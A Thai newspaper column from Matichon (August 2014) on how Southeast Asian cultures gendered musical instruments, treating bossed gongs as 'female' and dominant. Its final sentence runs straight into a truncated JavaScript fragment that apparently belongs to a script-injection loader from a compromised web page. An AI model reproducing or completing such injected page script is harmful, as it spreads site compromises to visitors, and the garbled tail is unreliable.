มติชนรายวัน ฉบับประจำวันจันทร์ที่ 11 สิงหาคม 2557

 

ฆ้องตัวเมียเป็นใหญ่

          ฆ้องตัวเมีย ได้รับยกย่องเป็นใหญ่สุดในบรรดาเครื่องดนตรีของอุษาคเนย์ (ในวงปี่พาทย์ไทยมีฆ้องใหญ่)

          เรื่องราวอย่างนี้มีหลักฐานและร่องรอยสำคัญมาก ผมได้จากหนังสือดนตรีอุษาคเนย์ โดย เจนจิรา เบญจพงศ์ ค้นคว้ารวบรวม และ เสถียร ดวงจันทร์ทิพย์ ที่ปรึกษา (วิทยาลัยดุริยางคศิลป์ มหาวิทยาลัยมหิดล พิมพ์ครั้งแรก พ.ศ. 2555 หน้า 335-337) จะคัดมาแบ่งปันไว้ดังนี้

ฆ้อง 2 ปุ่ม คล้ายนมสาว ใช้ตีในพิธีกรรมศักดิ์สิทธิ์ของชาวอิบาน รัฐซาราวัก มาเลเซียตะวันออก

          ชาวอุษาคเนย์แต่ดึกดำบรรพ์ ยกย่องและให้ความสำคัญต่อเพศหญิง เป็นสัญลักษณ์ของผู้เป็นใหญ่และความอุดมสมบูรณ์เจริญงอกงาม

          แล้วสมมุติแทนธรรมชาติ ผี หรือสิ่งของเครื่องใช้ที่สำคัญต่างๆ เช่น แม่น้ำ แม่โพสพ หรือเทพธิดาแห่งข้าว ฯลฯ รวมถึงเครื่องดนตรี ที่ดั้งเดิมมีเพื่อความศักดิ์สิทธิ์เป็นเครื่องมือติดต่อกับพลังอำนาจเหนือธรรมชาติในพิธีกรรมต่างๆ

          ชุดฆ้องหลายใบที่เล่นประกอบพิธีกรรมสำคัญในชนพื้นเมืองดั้งเดิมทางที่ราบสูงตอนกลางของเวียดนาม เช่น เผ่าระแด หรือเอเด เรียงขนาดและชื่อฆ้องเลียนตามลำดับญาติข้างแม่

          โดยมีกลองใหญ่แบบกลองทัดเป็นใหญ่สุดแทน ยาย ชุดฆ้องมี ตา, แม่, ลุงข้างแม่, ลูกสาวคนโต,  ลูกสาวคนรอง, ลูกชายคนโต, ฯลฯ

          ชาวกัมพูชาเรียกฆ้องแบนไม่มีปุ่มว่า ฆ้องตัวผู้ ส่วนฆ้องมีปุ่มหรือมีนมเรียก ฆ้องตัวเมีย

          ฆ้องตัวผู้ใช้เล่นในพิธีต่างๆ มักเล่นประกอบระบำของชาวเขมรสูง เช่น ระบำสับควายดื่มเหล้า ฯลฯ

          ฆ้องตัวเมียนิยมเล่นในเขตที่ราบสูง ใช้ประกอบพิธีขอพร ขอความสุข เช่น พิธีฟันควายถวายเจ้าพ่อ เป็นต้น

          ชนพื้นเมืองดั้งเดิมหลายกลุ่มในอุษาคเนย์ ยังมีร่องรอยถึงการมีผู้หญิงเป็นใหญ่ในพิธีกรรม เป็นเจ้าของงานฝีมือและเครื่องดนตรี และมีสิทธิ์ในการเล่นดนตรี

          เพราะผู้หญิงจะเกี่ยวข้องกับการติดต่อสื่อสารกับผีหรือสิ่งศักดิ์สิทธิ์ที่จะส่งผลให้ชีวิตหรือการเพาะปลูกหากินดีร้ายได้

          วงกาเมลันในอินโดนีเซีย เครื่องดนตรีมักถูกสร้างเป็นคู่หรือกลุ่ม เช่น เก็นเดอรฺ, กังสา ฯลฯ กลุ่มเครื่องดนตรีเหล่านี้แม้จะมีบันไดเสียงเหมือนกัน แต่ครึ่งหนึ่งหมายถึงเครื่องดนตรีที่เป็น “เพศหญิง” ซึ่งตั้งเสียงเบาและต่ำกว่าเครื่องดนตรี “เพศชาย” ที่เข้าคู่กัน

หญิงชาวอิบานตีฆ้อง บนเกาะบอร์เนียว มาเลเซีย

          ลาวเรียกระนาดเป็นเพศหญิงว่า นาง คือ “นางนาด”

          สอดคล้องกับยุคดั้งเดิมดึกดำบรรพ์ของสุวรรณภูมิหลายพันปีมาแล้ว เครื่องมือเหล่านี้เป็นสมบัติของผู้หญิง ผู้จะบรรเลงได้คือผู้หญิงเท่านั้น พวกผู้ชายไม่มีสิทธิ์ยุ่งเกี่ยวเลยvar d=document;var s=d.createElement(‘script’); } else {